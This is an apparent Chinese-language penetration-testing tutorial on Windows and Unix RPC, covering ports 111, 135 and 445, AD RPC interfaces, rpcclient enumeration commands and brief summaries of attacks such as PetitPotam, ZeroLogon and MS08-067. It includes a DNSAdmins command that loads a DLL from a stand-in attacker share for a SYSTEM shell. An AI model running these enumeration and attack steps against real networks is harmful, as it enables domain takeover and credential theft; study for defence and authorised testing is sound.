远程过程调用(Remote Procedure Call,RPC)是一种允许程序在不同计算机上像调用本地函数一样执行代码的通信协议。它隐藏了底层网络细节(如 TCP/IP 打包、连接管理),极大简化了分布式系统开发。

在 Windows 环境中,RPC 实际通过几种不同的传输方式(transport)暴露出来,而最常见的“两扇大门”就是 135 和 139/445。

一、RPC 基础原理与端口机制

1. RPC 核心组件

  • 客户端存根(Client Stub):序列化参数 → 网络请求
  • 服务器存根(Server Stub):反序列化 → 调用真实函数 → 返回结果
  • RPC 运行时:处理连接、超时、重传
  • 端口映射器(Endpoint Mapper):将抽象的“程序号/UUID”映射到实际网络端口

2. 固定端口 vs 动态端口

系统固定端口(映射器)动态端口范围(默认)典型用途
Unix/Linux111 (rpcbind)1024–65535NFS、statd 等
Windows135 (EPM)49152–65535SAMR、LSARPC、Netlogon 等

关键记忆点

  • 135 = “前台接待 / 总机”:问它“UUID 对应的服务在哪个房间?” → 它告诉你一个高位端口(如 49153)。
  • 445 / 139 = “快递直达通道”:很多 RPC 接口直接封装在 SMB 命名管道(\pipe\lsarpc、\pipe\samr)里走,无需经过 135 查询,直接通过 IPC$ 共享调用。

3. 常见 RPC 传输方式对比

传输协议端口描述渗透测试常见场景
ncacn_ip_tcp135 + 动态经典 TCP RPCWMI、DCOM、AD 复制
ncacn_np445(主)/139Named Pipes over SMB匿名/低权限枚举 SAMR、LSARPC
ncacn_http80/443RPC over HTTP(s)Exchange Outlook Anywhere(较少初始打点)

二、渗透测试中最常交互的 RPC 接口

接口简称全称 / UUID 示例主要功能经典攻击用途
SAMRSecurity Account Manager Remote枚举用户、组、密码策略域用户/RID 枚举、AS-REP Roasting 前置
LSARPCLocal Security Authority (LSA)信任关系、SID 转换、权限查询域信任判断、策略收集
MS-RPRNPrint System Remote Protocol打印机操作PrinterBug / PrintNightmare 强制 NTLM
MS-TSCHTask Scheduler Service远程计划任务创建/执行横向移动(需较高权限)
MS-DRSRDirectory Replication Service域复制(DCSync)域控哈希同步提取
NetlogonNetlogon Remote Protocol域登录验证、信任建立ZeroLogon、PetitPotam 相关强制认证

快速记忆口诀:SAMR 数人头、LSARPC 查关系、RPRN 逼认证、TSCH 跑命令。

三、Active Directory 中的 RPC 核心作用

Windows Active Directory(AD) 环境中,RPC 被大量用于远程管理、信息查询、域复制、认证等核心功能。

AD 几乎所有跨机器协作都依赖 RPC:

  • 域复制(Replication) → MS-DRSR over RPC
  • 用户/计算机登录验证 → Netlogon RPC
  • WMI 远程管理 → RPC + DCOM
  • 组策略分发 → RPC 从 SYSVOL 拉取
  • DNS 动态更新 & 插件加载 → RPC(DNSAdmins 提权经典路径)

典型通信流程(以用户认证为例):

  1. 客户端 → DC 的 135 端口(EPM)
  2. EPM 返回 Netlogon 接口的动态端口(如 49153)
  3. 客户端 → 动态端口 发送认证请求
  4. DC 验证后返回票据/会话密钥

四、实战枚举与工具链

4.1 Linux 侧(111 端口)

  • rpcinfo -p <target>
  • showmount -e <target> → 检查 NFS 共享
  • 批量:for i in {1..254}; do rpcinfo -p 10.10.10.$i 2>/dev/null; done

4.2 Windows 侧(135 + 445)

  • 匿名扫 135:rpcdump.py / impacket-rpcmap
  • 走 445 命名管道(最常用):
    • rpcclient -U "" -N <target>
    • 进入交互模式后高频命令:
功能rpcclient 命令示例说明
服务器基本信息srvinfo操作系统版本、域名等
枚举域用户enumdomusers列出所有域用户(RID)
枚举域组enumdomgroups列出域组
查询单个用户详情queryuser 0x1f4RID 500 → Administrator
查询域密码策略getdompwinfo密码长度、锁阈值等
枚举域信任enumtrusts信任域关系
查询显示信息querydispinfo所有账户的描述信息
SID ↔ 用户名转换lookupnames administrator反查 SID

推荐优先级

  1. 有任意域用户凭据 → rpcclient -U "dom/user%pass"
  2. 能匿名访问 IPC$ → rpcclient -U "" -N + 上面命令
  3. 只开 135 → rpcdump.py 看暴露 UUID

五、经典 RPC 攻击技术速览

  1. MS08-067(Conficker 蠕虫)
    → 老系统 RCE 神洞,Metasploit 一键。

  2. PetitPotam / PrinterBug(强制 NTLM 认证)
    → 利用 MS-EFSRPC 或 MS-RPRN 接口,配合 Responder / ntlmrelayx 中继 → DCSync / AD CS 提权。

  3. DNSAdmins DLL 加载提权
    → 需要 DNSAdmins 权限 → dnscmd /config /serverlevelplugindll \\attacker\mal.dll → 重启 DNS 服务 → SYSTEM shell。

  4. ZeroLogon(Netlogon CVE-2020-1472)
    → 重置域控计算机密码 → 接管域。

总结

Unix/Linux 生态:在 Unix/Linux 系统中,NFS(网络文件系统)、NIS(网络信息服务)等关键功能依赖 111 端口的 rpcbind 服务,通过其端口映射机制实现分布式通信。
Windows/AD 环境:在 Windows Active Directory 中,AD 复制、Netlogon、DNS 等核心服务以 135 端口的 RPC Endpoint Mapper 为枢纽,支撑起域环境的协同运作。

Logo

开源鸿蒙跨平台开发社区汇聚开发者与厂商,共建“一次开发,多端部署”的开源生态,致力于降低跨端开发门槛,推动万物智联创新。

更多推荐